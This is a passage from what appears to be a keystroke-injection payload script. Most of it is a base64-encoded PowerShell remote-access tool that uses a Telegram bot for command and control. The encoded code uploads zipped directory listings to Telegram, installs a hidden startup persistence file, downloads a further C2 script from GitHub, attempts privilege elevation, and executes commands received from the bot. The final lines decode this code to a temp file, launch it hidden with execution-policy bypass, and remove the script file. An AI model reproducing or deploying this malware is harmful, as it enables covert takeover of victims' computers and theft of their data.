3F1ZXJ5LmRhdGEgLWVxICJidXR0b24yX2NsaWNrZWQiKSB7DQogICAgICAgICAgICAka2lsbGludCA9IDENCiAgICAgICAgICAgIE9wdGlvbnMNCiAgICAgICAgfQ0KICAgIH0NCiAgICBTbGVlcCAxDQp9DQokY29udGVudHMgPSAiJGNvbXAgJGVudjpDT01QVVRFUk5BTUUgJHRpY2sgU2Vzc2lvbiBTdGFydGVkIg0KJHBhcmFtcyA9IEB7Y2hhdF9pZCA9ICRDaGF0SUQgO3RleHQgPSAkY29udGVudHN9DQpJbnZva2UtUmVzdE1ldGhvZCAtVXJpICRhcGlVcmwgLU1ldGhvZCBQT1NUIC1Cb2R5ICRwYXJhbXMNCn0NCg0KRnVuY3Rpb24gRm9sZGVyVHJlZXsNCnRyZWUgJGVudjpVU0VSUFJPRklMRS9EZXNrdG9wIC9BIC9GIHwgT3V0LUZpbGUgJGVudjp0ZW1wL0Rlc2t0b3AudHh0DQp0cmVlICRlbnY6VVNFUlBST0ZJTEUvRG9jdW1lbnRzIC9BIC9GIHwgT3V0LUZpbGUgJGVudjp0ZW1wL0RvY3VtZW50cy50eHQNCnRyZWUgJGVudjpVU0VSUFJPRklMRS9Eb3dubG9hZHMgL0EgL0YgfCBPdXQtRmlsZSAkZW52OnRlbXAvRG93bmxvYWRzLnR4dA0KdHJlZSAkZW52OkFQUERBVEEgL0EgL0YgfCBPdXQtRmlsZSAkZW52OnRlbXAvQXBwZGF0YS50eHQNCnRyZWUgJGVudjpQUk9HUkFNRklMRVMgL0EgL0YgfCBPdXQtRmlsZSAkZW52OnRlbXAvUHJvZ3JhbUZpbGVzLnR4dA0KJHppcEZpbGVQYXRoID0iJGVudjp0ZW1wL1RyZWVzT2ZLbm93bGVkZ2UuemlwIg0KQ29tcHJlc3MtQXJjaGl2ZSAtUGF0aCAkZW52OlRFTVBcRGVza3RvcC50eHQsICRlbnY6VEVNUFxEb2N1bWVudHMudHh0LCAkZW52OlRFTVBcRG93bmxvYWRzLnR4dCwgJGVudjpURU1QXEFwcGRhdGEudHh0LCAkZW52OlRFTVBcUHJvZ3JhbUZpbGVzLnR4dCAtRGVzdGluYXRpb25QYXRoICR6aXBGaWxlUGF0aA0Kc2xlZXAgMQ0KY3VybC5leGUgLUYgY2hhdF9pZD0iJENoYXRJRCIgLUYgZG9jdW1lbnQ9QCIkemlwRmlsZVBhdGgiICJodHRwczovL2FwaS50ZWxlZ3JhbS5vcmcvYm90JFRva2VuL3NlbmREb2N1bWVudCIgfCBPdXQtTnVsbA0Kcm0gLVBhdGggJHppcEZpbGVQYXRoIC1Gb3JjZQ0KV3JpdGUtT3V0cHV0ICJEb25lLiINCn0NCg0KRnVuY3Rpb24gQWRkUGVyc2lzdGFuY2V7DQokbmV3U2NyaXB0UGF0aCA9ICIkZW52OkFQUERBVEFcTWljcm9zb2Z0XFdpbmRvd3NcUG93ZXJTaGVsbFxjb3B5LnBzMSINCiRzY3JpcHRDb250ZW50IHwgT3V0LUZpbGUgLUZpbGVQYXRoICRuZXdTY3JpcHRQYXRoIC1mb3JjZQ0Kc2xlZXAgMQ0KaWYgKCRuZXdTY3JpcHRQYXRoLkxlbmd0aCAtbHQgMTAwKXsNCiAgICAiYCR0ZyA9IGAiJHRnYCIiIHwgT3V0LUZpbGUgLUZpbGVQYXRoICRuZXdTY3JpcHRQYXRoIC1Gb3JjZQ0KICAgICJgJGdoID0gYCIkZ2hgIiIgfCBPdXQtRmlsZSAtRmlsZVBhdGggJG5ld1NjcmlwdFBhdGggLUFwcGVuZA0KICAgIGlgd3IgLVVyaSAiaHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL2JlaWdld29ybS9hc3NldHMvbWFpbi9TY3JpcHRzL1RHLUMyLnBzMSIgLU91dEZpbGUgIiRlbnY6dGVtcC90ZW1wLnBzMSINCiAgICBzbGVlcCAxDQogICAgR2V0LUNvbnRlbnQgLVBhdGggIiRlbnY6dGVtcC90ZW1wLnBzMSIgfCBPdXQtRmlsZSAkbmV3U2NyaXB0UGF0aCAtQXBwZW5kDQogICAgfQ0KJHRvYmF0ID0gQCcNClNldCBvYmpTaGVsbCA9IENyZWF0ZU9iamVjdCgiV1NjcmlwdC5TaGVsbCIpDQpvYmpTaGVsbC5SdW4gInBvd2Vyc2hlbGwuZXhlIC1Ob25JIC1Ob1AgLUV4ZWMgQnlwYXNzIC1XIEhpZGRlbiAtRmlsZSAiIiVBUFBEQVRBJVxNaWNyb3NvZnRcV2luZG93c1xQb3dlclNoZWxsXGNvcHkucHMxIiIiLCAwLCBUcnVlDQonQA0KJHB0aCA9ICIkZW52OkFQUERBVEFcTWljcm9zb2Z0XFdpbmRvd3NcU3RhcnQgTWVudVxQcm9ncmFtc1xTdGFydHVwXHNlcnZpY2UudmJzIg0KJHRvYmF0IHwgT3V0LUZpbGUgLUZpbGVQYXRoICRwdGggLUZvcmNlDQpXcml0ZS1PdXRwdXQgIlBlcnNpc3RhbmNlIEFkZGVkLiINCnJtIC1wYXRoICIkZW52OlRFTVBcdGVtcC5wczEiIC1Gb3JjZQ0KfQ0KDQpGdW5jdGlvbiBSZW1vdmVQZXJzaXN0YW5jZXsNCnJtIC1QYXRoICIkZW52OkFQUERBVEFcTWljcm9zb2Z0XFdpbmRvd3NcU3RhcnQgTWVudVxQcm9ncmFtc1xTdGFydHVwXHNlcnZpY2UudmJzIg0Kcm0gLVBhdGggIiRlbnY6QVBQREFUQVxNaWNyb3NvZnRcV2luZG93c1xQb3dlclNoZWxsXGNvcHkucHMxIg0KV3JpdGUtT3V0cHV0ICJVbmluc3RhbGxlZC4iDQp9DQoNCkZ1bmN0aW9uIFBhdXNlU2Vzc2lvbnsNCiRjb250ZW50cyA9ICIkZW52OkNPTVBVVEVSTkFNRSAkcGF1c2UgUGF1c2luZyBTZXNzaW9uLi4iDQokcGFyYW1zID0gQHtjaGF0X2lkID0gJENoYXRJRCA7dGV4dCA9ICRjb250ZW50c30NCkludm9rZS1SZXN0TWV0aG9kIC1VcmkgJGFwaVVybCAtTWV0aG9kIFBPU1QgLUJvZHkgJHBhcmFtcw0KJG5ld1NjcmlwdFBhdGggPSAiJGVudjpBUFBEQVRBXE1pY3Jvc29mdFxXaW5kb3dzXHRlbXAucHMxIg0KJHNjcmlwdENvbnRlbnQgfCBPdXQtRmlsZSAtRmlsZVBhdGggJG5ld1NjcmlwdFBhdGggLWZvcmNlDQppZiAoJG5ld1NjcmlwdFBhdGguTGVuZ3RoIC1sdCAxMDApew0KICAgICJgJHRnID0gYCIkdGdgIiIgfCBPdXQtRmlsZSAtRmlsZVBhdGggJG5ld1NjcmlwdFBhdGggLUZvcmNlDQogICAgImAkZ2ggPSBgIiRnaGAiIiB8IE91dC1GaWxlIC1GaWxlUGF0aCAkbmV3U2NyaXB0UGF0aCAtQXBwZW5kDQogICAgaWB3ciAtVXJpICJodHRwczovL3Jhdy5naXRodWJ1c2VyY29udGVudC5jb20vYmVpZ2V3b3JtL2Fzc2V0cy9tYWluL1NjcmlwdHMvVEctQzIucHMxIiAtT3V0RmlsZSAiJGVudjp0ZW1wL3RlbXAucHMxIg0KICAgIEdldC1Db250ZW50IC1QYXRoICIkZW52OnRlbXAvdGVtcC5wczEiIHwgT3V0LUZpbGUgJG5ld1NjcmlwdFBhdGggLUFwcGVuZA0KICAgIH0NCiR0b2JhdCA9IEAnDQpTZXQgb2JqU2hlbGwgPSBDcmVhdGVPYmplY3QoIldTY3JpcHQuU2hlbGwiKQ0Kb2JqU2hlbGwuUnVuICJwb3dlcnNoZWxsLmV4ZSAtTm9uSSAtTm9QIC1FeGVjIEJ5cGFzcyAtVyBIaWRkZW4gLUZpbGUgIiIlQVBQREFUQSVcTWljcm9zb2Z0XFdpbmRvd3NcdGVtcC5wczEiIiIsIDAsIFRydWUNCidADQokcHRoID0gIiRlbnY6QVBQREFUQVxNaWNyb3NvZnRcV2luZG93c1x0ZW1wLnZicyINCiR0b2JhdCB8IE91dC1GaWxlIC1GaWxlUGF0aCAkcHRoIC1Gb3JjZQ0Kc2xlZXAgMg0KU3RhcnQtUHJvY2VzcyAtRmlsZVBhdGggJHB0aA0Kcm0gLXBhdGggIiRlbnY6VEVNUFx0ZW1wLnBzMSIgLUZvcmNlDQpleGl0DQp9DQoNCkZ1bmN0aW9uIElzQWRtaW57DQpJZiAoIShbU2VjdXJpdHkuUHJpbmNpcGFsLldpbmRvd3NQcmluY2lwYWxdW1NlY3VyaXR5LlByaW5jaXBhbC5XaW5kb3dzSWRlbnRpdHldOjpHZXRDdXJyZW50KCkpLklzSW5Sb2xlKFtTZWN1cml0eS5QcmluY2lwYWwuV2luZG93c0J1aWx0SW5Sb2xlXSdBZG1pbmlzdHJhdG9yJykpIHsNCiAgICAkY29udGVudHMgPSAiJGNsb3NlZCBDdXJyZW50IFNlc3Npb24gaXMgTk9UIEFkbWluICRjbG9zZWQiDQogICAgJHBhcmFtcyA9IEB7Y2hhdF9pZCA9ICRDaGF0SUQgO3RleHQgPSAkY29udGVudHN9DQogICAgSW52b2tlLVJlc3RNZXRob2QgLVVyaSAkYXBpVXJsIC1NZXRob2QgUE9TVCAtQm9keSAkcGFyYW1zIHwgT3V0LU51bGwNCiAgICB9DQogICAgZWxzZXsNCiAgICAkY29udGVudHMgPSAiJHRpY2sgQ3VycmVudCBTZXNzaW9uIElTIEFkbWluICR0aWNrIg0KICAgICRwYXJhbXMgPSBAe2NoYXRfaWQgPSAkQ2hhdElEIDt0ZXh0ID0gJGNvbnRlbnRzfQ0KICAgIEludm9rZS1SZXN0TWV0aG9kIC1VcmkgJGFwaVVybCAtTWV0aG9kIFBPU1QgLUJvZHkgJHBhcmFtcyB8IE91dC1OdWxsDQogICAgfQ0KfQ0KDQpGdW5jdGlvbiBBdHRlbXB0RWxldmF0ZXsNCldyaXRlLU91dHB1dCAiUHJvbXB0IFNlbnQgdG8gVXNlci4uIg0KaWYoIShbU2VjdXJpdHkuUHJpbmNpcGFsLldpbmRvd3NQcmluY2lwYWxdW1NlY3VyaXR5LlByaW5jaXBhbC5XaW5kb3dzSWRlbnRpdHldOjpHZXRDdXJyZW50KCkpLklzSW5Sb2xlKFtTZWN1cml0eS5QcmluY2lwYWwuV2luZG93c0J1aWx0SW5Sb2xlXSdBZG1pbmlzdHJhdG9yJykpIHsNCiAgICAkbmV3U2NyaXB0UGF0aCA9ICIkZW52OkFQUERBVEFcTWljcm9zb2Z0XFdpbmRvd3NcdGVtcC5wczEiDQogICAgJHNjcmlwdENvbnRlbnQgfCBPdXQtRmlsZSAtRmlsZVBhdGggJG5ld1NjcmlwdFBhdGggLWZvcmNlDQogICAgaWYgKCRuZXdTY3JpcHRQYXRoLkxlbmd0aCAtbHQgMTAwKXsNCiAgICAgICAgImAkdGcgPSBgIiR0Z2AiIiB8IE91dC1GaWxlIC1GaWxlUGF0aCAkbmV3U2NyaXB0UGF0aCAtRm9yY2UNCiAgICAgICAgImAkZ2ggPSBgIiRnaGAiIiB8IE91dC1GaWxlIC1GaWxlUGF0aCAkbmV3U2NyaXB0UGF0aCAtQXBwZW5kDQogICAgICAgIGlgd3IgLVVyaSAiaHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL2JlaWdld29ybS9hc3NldHMvbWFpbi9TY3JpcHRzL1RHLUMyLnBzMSIgLU91dEZpbGUgIiRlbnY6dGVtcC90ZW1wLnBzMSINCiAgICAgICAgR2V0LUNvbnRlbnQgLVBhdGggIiRlbnY6dGVtcC90ZW1wLnBzMSIgfCBPdXQtRmlsZSAkbmV3U2NyaXB0UGF0aCAtQXBwZW5kDQogICAgICAgIH0NCiAgICBTdGFydC1Qcm9jZXNzIFBvd2VyU2hlbGwuZXhlIC1Bcmd1bWVudExpc3QgKCItTm9QIC1FcCBCeXBhc3MgLVcgSGlkZGVuIC1GaWxlIGAiJGVudjpBUFBEQVRBXE1pY3Jvc29mdFxXaW5kb3dzXHRlbXAucHMxYCIiKSAtVmVyYiBSdW5Bcw0KICAgIFNsZWVwIDENCiAgICBybSAtcGF0aCAiJGVudjpURU1QXHRlbXAucHMxIiAtRm9yY2UNCiAgICB9DQp9DQoNCkZ1bmN0aW9uIFRvZ2dsZUVycm9yc3sNCklmKCRnbG9iYWw6ZXJyb3Jtc2cgLWVxIDApew0KICAgICRnbG9iYWw6ZXJyb3Jtc2cgPSAxDQogICAgJGNvbnRlbnRzID0gIiR0aWNrIEVycm9yIE1lc3NhZ2luZyBPTiAkdGljayINCiAgICAkcGFyYW1zID0gQHtjaGF0X2lkID0gJENoYXRJRCA7dGV4dCA9ICRjb250ZW50c30NCiAgICBJbnZva2UtUmVzdE1ldGhvZCAtVXJpICRhcGlVcmwgLU1ldGhvZCBQT1NUIC1Cb2R5ICRwYXJhbXMgfCBPdXQtTnVsbA0KICAgIHJldHVybg0KICAgIH0NCklmKCRnbG9iYWw6ZXJyb3Jtc2cgLWVxIDEpew0KICAgICRnbG9iYWw6ZXJyb3Jtc2cgPSAwDQogICAgJGNvbnRlbnRzID0gIiRjbG9zZWQgRXJyb3IgTWVzc2FnaW5nIE9GRiAkY2xvc2VkIg0KICAgICRwYXJhbXMgPSBAe2NoYXRfaWQgPSAkQ2hhdElEIDt0ZXh0ID0gJGNvbnRlbnRzfQ0KICAgIEludm9rZS1SZXN0TWV0aG9kIC1VcmkgJGFwaVVybCAtTWV0aG9kIFBPU1QgLUJvZHkgJHBhcmFtcyB8IE91dC1OdWxsDQogICAgcmV0dXJuDQogICAgfQ0KfQ0KDQojIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSBURUxFR1JBTSBGVUNUSU9OUyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQoNCkZ1bmN0aW9uIElzQXV0aHsgDQpwYXJhbSgkQ2hlY2tNZXNzYWdlKQ0KICAgIGlmICgoJG1lc3NhZ2VzLm1lc3NhZ2UuZGF0ZSAtbmUgJExhc3RVbkF1dGhNc2cpIC1hbmQgKCRDaGVja01lc3NhZ2UubWVzc2FnZS50ZXh0IC1saWtlICRQYXNzUGhyYXNlKSAtYW5kICgkQ2hlY2tNZXNzYWdlLm1lc3NhZ2UuZnJvbS5pc19ib3QgLWxpa2UgJGZhbHNlKSl7DQogICAgICAgICRzY3JpcHQ6QWNjZXB0ZWRTZXNzaW9uPSJBdXRoZW50aWNhdGVkIg0KICAgICAgICAkY29udGVudHMgPSAiJGNvbXAgJGVudjpDT01QVVRFUk5BTUUgJHRpY2sgU2Vzc2lvbiBTdGFydGluZy4uLiINCiAgICAgICAgJHBhcmFtcyA9IEB7Y2hhdF9pZCA9ICRDaGF0SUQgO3RleHQgPSAkY29udGVudHN9DQogICAgICAgIEludm9rZS1SZXN0TWV0aG9kIC1VcmkgJGFwaVVybCAtTWV0aG9kIFBPU1QgLUJvZHkgJHBhcmFtcw0KICAgICAgICBTaG93QnV0dG9ucw0KICAgICAgICByZXR1cm4gJG1lc3NhZ2VzLm1lc3NhZ2UuY2hhdC5pZA0KICAgIH1FbHNle3JldHVybiAwfQ0KfQ0KDQpGdW5jdGlvbiBTdHJtRlh7DQpwYXJhbSgkU3RyZWFtKQ0KJEZpeGVkUmVzdWx0PUAoKQ0KJFN0cmVhbSB8IE91dC1GaWxlIC1GaWxlUGF0aCAoSm9pbi1QYXRoICRlbnY6dGVtcCAtQ2hpbGRQYXRoICJ0Z2MyLnR4dCIpIC1Gb3JjZQ0KJFJlYWRBc0FycmF5PSBHZXQtQ29udGVudCAtUGF0aCAoSm9pbi1QYXRoICRlbnY6dGVtcCAtQ2hpbGRQYXRoICJ0Z2MyLnR4dCIpIHwgd2hlcmUgeyRfLmxlbmd0aCAtZ3QgMH0NCmZvcmVhY2ggKCRsaW5lIGluICRSZWFkQXNBcnJheSl7DQogICAgJEFyck9iaj1OZXctT2JqZWN0IHBzb2JqZWN0DQogICAgJEFyck9iaiB8IEFkZC1NZW1iZXIgLU1lbWJlclR5cGUgTm90ZVByb3BlcnR5IC1OYW1lICJMaW5lIiAtVmFsdWUgKCRsaW5lKS50b3N0cmluZygpDQogICAgJEZpeGVkUmVzdWx0ICs9JEFyck9iag0KfQ0KcmV0dXJuICRGaXhlZFJlc3VsdA0KfQ0KDQpGdW5jdGlvbiBzdGdtc2d7DQpwYXJhbSgkTWVzc2FnZXRleHQsJENoYXRJRCkNCiRGaXhlZFRleHQ9U3RybUZYIC1TdHJlYW0gJE1lc3NhZ2V0ZXh0DQokTWVzc2FnZVRvU2VuZCB8IEFkZC1NZW1iZXIgLU1lbWJlclR5cGUgTm90ZVByb3BlcnR5IC1OYW1lICd0ZXh0JyAtVmFsdWUgJEZpeGVkVGV4dC5saW5lIC1Gb3JjZQ0KJEpzb25EYXRhPSgkTWVzc2FnZVRvU2VuZCB8IENvbnZlcnRUby1Kc29uKQ0KaXJtIC1NZXRob2QgUG9zdCAtVXJpICgkVVJMICsnL3NlbmRNZXNzYWdlJykgLUJvZHkgJEpzb25EYXRhIC1Db250ZW50VHlwZSAiYXBwbGljYXRpb24vanNvbiINCiRjYXRjaGVyID0gJEZpeGVkVGV4dA0KfQ0KDQpGdW5jdGlvbiBydGdtc2d7DQp0cnl7DQogICAgJGluTWVzc2FnZT1pcm0gLU1ldGhvZCBHZXQgLVVyaSAoJFVSTCArJy9nZXRVcGRhdGVzJykgLUVycm9yQWN0aW9uIFN0b3ANCiAgICByZXR1cm4gJGluTWVzc2FnZS5yZXN1bHRbLTFdDQogICAgfQ0KQ2F0Y2h7cmV0dXJuICJUR0ZhaWwifQ0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0gU1RBUlQgVEhFIFdBSVQgVE8gQ09OTkVDVCBMT09QIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KDQpXaGlsZSAoJHRydWUpew0Kc2xlZXAgMg0KJG1lc3NhZ2VzPXJ0Z21zZw0KICAgIGlmICgkTGFzdFVuQXV0aE1zZyAtbGlrZSAkbnVsbCl7JExhc3RVbkF1dGhNc2c9JG1lc3NhZ2VzLm1lc3NhZ2UuZGF0ZX0NCiAgICBpZiAoISgkQWNjZXB0ZWRTZXNzaW9uKSl7JENoZWNrQXV0aGVudGljYXRpb249SXNBdXRoIC1DaGVja01lc3NhZ2UgJG1lc3NhZ2VzfQ0KICAgIEVsc2V7DQogICAgICAgIGlmICgoJENoZWNrQXV0aGVudGljYXRpb24gLW5lIDApIC1hbmQgKCRtZXNzYWdlcy5tZXNzYWdlLnRleHQgLW5vdGxpa2UgJFBhc3NQaHJhc2UpIC1hbmQgKCRtZXNzYWdlcy5tZXNzYWdlLmRhdGUgLW5lICRsYXN0ZXhlY01lc3NhZ2VJRCkpew0KICAgICAgICAgICAgdHJ5ew0KICAgICAgICAgICAgICAgICRSZXN1bHQ9aWVgeCgkbWVzc2FnZXMubWVzc2FnZS50ZXh0KSAtRXJyb3JBY3Rpb24gU3RvcA0KICAgICAgICAgICAgICAgICRSZXN1bHQNCiAgICAgICAgICAgICAgICBpZiAoKCRyZXN1bHQubGVuZ3RoIC1lcSAwKSAtb3IgKCRtZXNzYWdlcy5tZXNzYWdlLnRleHQgLWNvbnRhaW5zICJLZXlDYXB0dXJlIikgLW9yICgkbWVzc2FnZXMubWVzc2FnZS50ZXh0IC1jb250YWlucyAiRXhmaWx0cmF0aW9uIikpe30NCiAgICAgICAgICAgICAgICBlbHNlew0KICAgICAgICAgICAgICAgIHN0Z21zZyAtTWVzc2FnZXRleHQgJFJlc3VsdCAtQ2hhdElEICRtZXNzYWdlcy5tZXNzYWdlLmNoYXQuaWQNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgfWNhdGNoIHsNCiAgICAgICAgICAgICAgICAgICAgaWYoJGdsb2JhbDplcnJvcm1zZyAtZXEgMSl7DQogICAgICAgICAgICAgICAgICAgIHN0Z21zZyAtTWVzc2FnZXRleHQgKCRfLmV4Y2VwdGlvbi5tZXNzYWdlKSAtQ2hhdElEICRtZXNzYWdlcy5tZXNzYWdlLmNoYXQuaWQNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIEZpbmFsbHl7JGxhc3RleGVjTWVzc2FnZUlEPSRtZXNzYWdlcy5tZXNzYWdlLmRhdGV9DQogICAgICAgIH0NCiAgICB9DQp9' +ENTER +STRING $decodedFile = [System.Convert]::FromBase64String($b64);$decodedText = [System.Text.Encoding]::UTF8.GetString($decodedFile);$decodedText | Out-File -FilePath "$env:temp/a.ps1" -Append +ENTER +STRING Start-Process PowerShell.exe -ArgumentList ("-NoP -Ep Bypass -w h -File `"$env:temp/a.ps1`"" -f $PSCommandPath);sleep 7;Remove-Item -Path $File -Force;exit +ENTER